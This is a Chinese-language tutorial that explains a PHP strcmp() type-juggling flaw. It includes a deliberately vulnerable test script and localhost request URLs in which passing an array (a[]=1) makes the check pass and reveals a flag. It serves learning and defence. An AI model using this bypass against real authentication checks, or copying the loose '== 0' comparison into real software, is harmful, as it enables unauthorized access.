前置知识

strcmp() 函数比较两个字符串。
注释:strcmp() 函数是二进制安全的,且对大小写敏感。

返回值: 本函数返回:
- 0 - 如果两个字符串相等
- <0 - 如果 _string1_ 小于 _string2_
- >0 - 如果 string1 大于 string2
PHP 版本: 4+

当这个函数接收到不符合的类型,这个函数将发生错误,在5.3之前的php中,显示了报错的警告信息后,将返回0,在5.3之后的版本传入数组的话就会返回NULL。

漏洞测试代码

  1. <?php
  2. $flag = "flag";
  3. if (isset($_GET['a'])) {
  4. var_dump(strcmp($_GET['a'], $flag));
  5. if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
  6. //比较两个字符串(区分大小写)
  7. die('Flag: '.$flag);
  8. else
  9. print 'No';
  10. }
  11. ?>

漏洞复现

  1. 发送以下任意请求,均可拿到flag
    1. http://127.0.0.1/php/06%20strcmp%E6%AF%94%E8%BE%83%E5%AD%97%E7%AC%A6%E4%B8%B2.php?a[]=1
    2. 或者
    3. http://127.0.0.1/php/06%20strcmp%E6%AF%94%E8%BE%83%E5%AD%97%E7%AC%A6%E4%B8%B2.php?a=flag
    2022-03-29_214338.png

    漏洞分析

    想要拿到flag需要满足两个条件,第一个条件isset($_GET[‘a’),第二个条件strcmp($_GET[‘a’], $flag) == 0。第一个条件简单,只要get一个a参数就可以满足,第二个条件strcmp函数比较参数a与$flag是否相同,只要相同就可以拿到flag,最简单的做法是a=flag。但这里其实考察的不是这个,当strcmp接收到数组内容时讲报错并返回null,null ==0是成立的,所以只要传入数组(a[]=1)则可以满足第二个条件。